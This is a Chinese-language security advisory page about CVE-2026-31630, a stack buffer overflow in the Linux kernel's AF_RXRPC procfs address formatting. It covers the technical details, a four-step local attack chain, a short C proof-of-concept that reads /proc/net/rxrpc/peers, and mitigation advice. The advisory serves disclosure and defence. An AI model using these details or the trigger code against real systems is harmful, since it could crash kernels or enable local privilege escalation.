IPBUF安全漏洞报告
English
CVE-2026-31630 CVSS 7.8 高危

CVE-2026-31630 Linux内核AF_RXRPC缓冲区溢出漏洞

披露日期: 2026-04-24
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31630
漏洞类型
缓冲区溢出
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

缓冲区溢出Linux内核本地提权CVE-2026-31630DoS

漏洞概述

Linux内核AF_RXRPC模块的procfs接口存在缓冲区溢出漏洞。该模块在处理套接字地址时,使用了固定大小的50字节堆栈缓冲区来存储格式化后的IPv6地址。然而,对于包含ISATAP或v4mapped的特定IPv6地址,其格式化后的字符串长度可能超过50字节,导致缓冲区溢出。攻击者可利用此漏洞造成内核崩溃或潜在权限提升。

技术细节

该漏洞位于Linux内核的 net/rxrpc/proc.c 文件中。AF_RXRPC的procfs辅助函数负责将本地和远程套接字地址格式化为字符串。代码使用了 char[50] 大小的栈缓冲区,并通过 %pISpc 格式说明符进行格式化。然而,Linux内核的格式化机制在处理特定类型的IPv6地址(如ISATAP地址或IPv4映射地址)时,会生成包含点分四进制尾部的长字符串。具体而言,[ffff:ffff:ffff:ffff:0:5efe:255.255.255.255]:65535 这样的地址包含50个可见字符,加上结束符 \0 共需51字节。现有的50字节缓冲区无法容纳此数据,导致发生栈缓冲区溢出。虽然攻击复杂度较低且无需用户交互,但由于是本地漏洞,攻击者需要低权限账户即可触发该溢出,可能破坏内核内存完整性,导致系统崩溃或在特定条件下实现本地权限提升。

攻击链分析

STEP 1
步骤1
攻击者获取本地低权限用户访问权限。
STEP 2
步骤2
配置或利用系统生成特定的IPv6地址(如ISATAP地址),该地址格式化后长度超过50字节。
STEP 3
步骤3
触发AF_RXRPC模块处理该地址,并读取/proc/net/rxrpc下的文件(如peers)。
STEP 4
步骤4
内核在格式化地址时发生栈缓冲区溢出,可能导致系统崩溃或代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Proof of Concept for CVE-2026-31630 // This PoC demonstrates the condition for the buffer overflow. // It requires a kernel configured with AF_RXRPC and ISATAP. #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #define AF_RXRPC 33 int main() { int sock; FILE *fp; char buffer[1024]; // Create an AF_RXRPC socket sock = socket(AF_RXRPC, SOCK_DGRAM, 0); if (sock < 0) { perror("socket"); return 1; } // To trigger the vulnerability, the socket needs to be associated with // an address that formats to >50 bytes (e.g., ISATAP). // This usually involves configuring network interfaces. // Reading the proc file triggers the formatting logic. fp = fopen("/proc/net/rxrpc/peers", "r"); if (fp == NULL) { perror("fopen"); close(sock); return 1; } // Reading the file causes the kernel to format peer addresses // into the vulnerable stack buffer. while (fgets(buffer, sizeof(buffer), fp)) { // Process output (overflow happens in kernel space during read) } fclose(fp); close(sock); return 0; }

影响范围

Linux Kernel (stable branches before specific commits)
Linux Kernel mainline before fix

防御指南

临时缓解措施
建议立即更新Linux内核以修补此漏洞。如果无法立即更新,可以通过禁用AF_RXRPC模块或严格限制对/proc文件系统相关条目的访问权限来降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表